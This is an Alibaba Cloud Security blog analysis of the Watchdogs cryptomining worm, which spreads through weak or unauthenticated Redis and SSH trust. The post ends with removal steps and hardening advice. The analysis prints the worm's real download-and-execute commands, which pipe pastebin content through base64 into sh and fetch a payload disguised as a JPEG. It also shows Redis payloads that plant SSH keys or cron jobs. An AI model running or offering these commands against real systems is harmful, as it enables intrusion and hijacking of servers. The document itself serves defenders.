Countrywide Spread of Database-Cracking Watchdogs Mining Worm: Issues and Countermeasures

This article analyzes the Watchdogs mining worm and provides suggestions for emergency response and further prevention of similar large-scale intrusion events.

By Fan Wu, Weibo Guo, and Fengwei Zhang

Introduction

"The following blog post introduces one of the fastest growing malware today – the Watchdogs mining worm. As we've seen throughout 2018 and now in 2019, the decline in the value of bitcoin and other cryptocurrencies does not change the trend of increased activity of crypto-mining malware. This means that the return on investment (ROI) of this malicious activity is still high, and we are likely to see it grow for the foreseeable future.

This post provides excellent background on the worm itself, and goes deep in analyzing its binary, process, behaviors, etc. On top of all that, it provides practical suggestions for ways to remove the Watchdogs from your devices."

Yohai Einav, Principal Security Researcher, Security Innovation Labs

Overview

On February 20th, 5pm Beijing time, Alibaba Cloud Security team detected a large-scale mining event caused by the Watchdogs worm, and immediately initiated emergency response.

In a short time, this worm has infected a large number of Linux hosts. The worm distributes itself by utilizing two common Redis mis-configuration problems - unauthorized access and weak passwords. The worm then reads the IP address list from the known_hosts file, and uses the results to log on to other hosts that trust the infected hosts. This is not the first time that either of these two propagation methods have been used by worms, but the combination of the methods makes Watchdogs very powerful.

Watchdogs is neither the first Redis worm that had such a big impact. To present day, Redis configuration problems have been exploited by more than 40 types of worms. Besides that, configuration problems in other types of databases could also become new targets in the future.

In this article we analyze the structure of the Watchdogs mining worm and discuss how to remove it. We also provides suggestions for emergency response and further prevention of similar large-scale intrusion events.

Watchdogs Mining Worm Infection Process

The following figure shows a typical infection process of Watchdogs:

Distribution of the Worm

The attacker first scans for possible Redis servers that allow unauthorized access or have weak passwords, and gains controls over the corresponding hosts. The exploit script starts at the following link:

https://pastebin.com/raw/sByq0rym

which contains bse64 decoding and the command to retrieve from another URL:

(curl  -fsSL  https://past ebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh

The content in https://pastebin.com/raw/D8E71JBJ is decoded into a bash script, which instructs downloading the core malicious program, the "Watchdogs", which is hidden as a JPEG picture from thyrsi[.]com :

(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs

As shown in the infection process figure above, lateral movement of this worm is divided into two parts.

The first part is the following bash script, which loads a list of known hosts and hosts with credentials stored in /root/.ssh/known_hosts and /root/.ssh/id_rsa.pub, tries to login, and distributes further malicious commands on these machines.

The second part is the Watchdogs program, which moves laterally by leveraging unauthorized access to Redis and bruteforce cracking SSH .

Specifically, the bbgo () function in the Watchdogs program is used to get the list of IP addresses to attack.

Then, the worm tries to login to the SSH service in these hosts. When the attempt succeeds, the worm will download and run the downloader script.

Meanwhile, the ago () function scans and attacks Redis.

The Malicious Script

In addition to moving laterally and downloading the Watchdogs program, the bash script can also do the following:

Add a scheduled task set to run every 10 minutes to download the bash script itself in crontab.

Kill similar mining worms and Trojans.

Kill any other processes that consume more than 80% of CPU, which eliminates possible competitors, a typical routine for most cryptocurrency mining hijackers.

In short, the Bash script is for implant, persistence, and lateral movement of the malware.

Analysis of Watchdogs Binary

Watchdogs is an ELF executable file compiled in Go language. Its structure is shown in the following figure.

1. LibiosetWrite()

This function extracts and writes the shared library libioset.so.

2. Cron()

This function adds more scheduled download to multiple cron files, such as /etc/cron.d/root which causes more difficulties to remove the malware.

3. KsoftirqdsWriteRun()

This function decompresses the mining program and updates its configuration file.

Where bbgo() and ago() functions have been discussed in the previous section "Propagation of the worm".

In summary, after the Bash script is executed, Watchdogs further releases and runs the mining program, writes the malicious .so file, and distributes the worm laterally.

Analysis of libioset.so

The following figure shows the export function list of libioset.so, such as unlink, rmdir, readdir, etc.

For example, the unlink() function, the essential function call before 'rm' command.

It excludes unlink() function calls for files containing these strings: "ksoftirqds", "ld.so.preload", and "libioset.so". As a result, these key malicious files cannot be properly deleted.

It is the same with other commands, such as readdir. They cannot properly return any results related to malicious programs.

The fopen function is affected even worse. The system calls fopen function when querying the CPU usage and port usage, and the attacker hooks this function, so that the system calls the attacker's forged function when reading the '/proc/stat' and '/proc/net/tcp 'files.

Where forge_proc_cpu() function returns the hardcoded forged results.

Malicious hooking of system functions makes it difficult for users to validate whether a mining process actually exists, and if so, which one is the mining process.

Connection to the Kworkerd Worm

"Many hacker boys have copied my code" — an overview of database-cracking worm landscape

The Watchdogs worm comes from the same author who wrote Kworkerd worms in 2018, since both worms use a same wallet address and similar attack methods. For details about Kworkerd, see our 2018 Cryptocurrency Mining Hijacker Analysis Report.

This is also supported by the author's comment at the end of malicious script:

#1. If you crack my program, please don't reveal too much code online. Many hacker boys have copied my kworkerds code, more systems are being attacked. ( Especially libioset)...

The saying here "Many hacker boys have copied my kworkerds code" reveals the fact that, when an attacker leverages a certain attack method and succeeds, other attackers will soon imitate and copy the code.

As a result of such "imitation game", the number of worms that exploits problems in Redis has skyrocketed from one in 2018 to more than 40 today, according to our statistics. Many of them are notorious, such as DDG and 8220 mining groups. Besides, the recently emerging worms are equipped with Redis exploit module, since there are thousands of misconfigured Redis databases on the Internet. If attackers take only a piece of this cake, their profits could increase significantly.

In short, if a user does not configure and protect Redis databases properly, it could end up with over 40 different worms.

The following chart shows the trends of attack traffic targeting Redis and number of compromised machines over the past six months. It is clear that Redis attacks have been gradually adopted by major botnets, resulting in a high attack volume in October and November of 2018. And after three months of relative silence, an outburst happened again in February of this year.

Typical Stages in Redis Attacks

The main method for attacks on Redis databases has gone through three stages.

1. Attackers write SSH keys to Redis servers that can be accessed without authorization to log on to the SSH service.

To do so, attackers run the following payload:

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa [sshkey] root@kali\n\n\n"
save

Where the [sshkey] stands for the attacker's key.

2. Attackers write a crontab file to Redis servers that can be accessed without authorization to periodically perform malicious operations.

To do so, attackers run the following payload:

config set dir /var/spool/cron
config set dbfilename root
set x "[evil command]"
save

Where the [evil command] stands for a malicious command that is periodically executed.

3. For the above two stages, only Redis servers that can be accessed without authentication are attacked. In the third stage, Redis servers on which password verification is required, but the passwords are weak, are attacked as well. This further expands the scope of attack.

Moreover, Redis is not the only database favored by hackers. As shown in the following table, the security issues of common databases, including SQL Server, MySQL, and MongoDB are also exploited by multiple mining botnets. The main exploitation methods include unauthorized access, password cracking, and vulnerability exploitation.

Database	Botnet and Attacks
SQL Server	Mykings and Bulehero
MongoDB	Xbash and multiple ransom events
MySQL	8220 and Mykings
CouchDB	8220

With these three stages of attacks in mind, we have developed a procedure to remove this malware as well as provide recommendations for enhancing the security of your databases.

Procedure to Remove Watchdogs

1. Stop the cron service.

Run the following command:

service crond stop
or
/etc/init.d/cron stop

2. Use BusyBox to delete the two .so files:

sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig

BusyBox is a small UNIX tool set that is integrated in many Linux systems. We need it for 'rm' because system-provided rm command is hooked by the malicious libioset.so, thus the native 'rm' command from bash cannot delete the .so library properly. The rm command of BusyBox is statically compiled, which is not affected by Watchdogs.

3. Kill malicious processes.

sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`

4. Clear the cron-related files and restart the cron service.

Specifically, check the following locations and clear up the malicious commands:

/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root
Then run the following command:
service crond start
(or /etc/init.d/cron start)

Security Recommendations

Acquisition of cryptocurrencies relies so much on computing resources, that it fosters large-scale intrusions by hackers. Watchdogs is not the first database intrusion event, and certainly will not be the last. As a platform that always takes security into consideration, Alibaba Cloud provides robust security infrastructure and a wide range of security products to help users withstand mining attacks and intrusions. To safeguard your infrastructure, Alibaba Cloud also recommends the following security suggestions:

1. Strengthen the password of the database service. Whenever possible, avoid opening the database service on the Internet. If it has to be opened on the Internet, implement proper access control list (ACL) based on the actual conditions. These measures can effectively prevent attacks such as mining and ransom-ware. In addition, back up data regularly and pay close attention to alarms generated by security products.

2. If you suspect that your host has been infiltrated or mined, check the CPU usage, running processes, and scheduled tasks to identify the intrusion source. This requires that you have some security knowledge and the attack method is relatively simple.

3. To counter attackers that use complex attack methods (for example, the Watchdogs worm that invalidates system commands such as ps and top), we recommend that you use the next-generation cloud firewall product offered by Alibaba Cloud Security, which blocks malicious external connections and supports the configuration of intelligent policies to effectively prevent intrusions. Since operations like downloading, mining, and sending reverse shell all trigger malicious external connections, The cloud firewall can completely block the attack chain. In addition, you can use custom policies to directly block websites that are widely used by mining worms, such as pastebin.com and thrysi.com, to block intrusions.

4. Users with higher customization requirements may use the Alibaba Cloud Managed Security Service. After you purchase this service, experienced security experts will provide consultation services and customize solutions for you, and help reinforce your system to prevent intrusions. If an intrusion event already occurred, security experts can also assist in issues like virus clearing and attack source tracing. This service is suitable for users with high security requirements and enterprises that do not have security engineers but want to ensure system security.

IOC

Wallet address

46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava

Mine pool address

xmr.f2pool.com

Malicious URL

pastebin.com/raw/sByq0rym
thyrsi.com/t6/672/1550667515x1822611209.jpg

Malicious file

File name	MD5
Watchdogs	aee3a19beb22527a1e0feac76344894c

Community

Countrywide Spread of Database-Cracking Watchdogs Mining Worm: Issues and Countermeasures

Introduction

Overview

Watchdogs Mining Worm Infection Process

Distribution of the Worm

The Malicious Script

Analysis of Watchdogs Binary

1. LibiosetWrite()

2. Cron()

3. KsoftirqdsWriteRun()

Analysis of libioset.so

Connection to the Kworkerd Worm

Typical Stages in Redis Attacks

Procedure to Remove Watchdogs

Security Recommendations

IOC

Read previous post:

Read next post:

Alibaba Cloud Security

You may also like

Comments

Alibaba Cloud Security

Related Products

WAF(Web Application Firewall)

Web Hosting Solution

Database Security Solutions

ADAM(Advanced Database & Application Migration)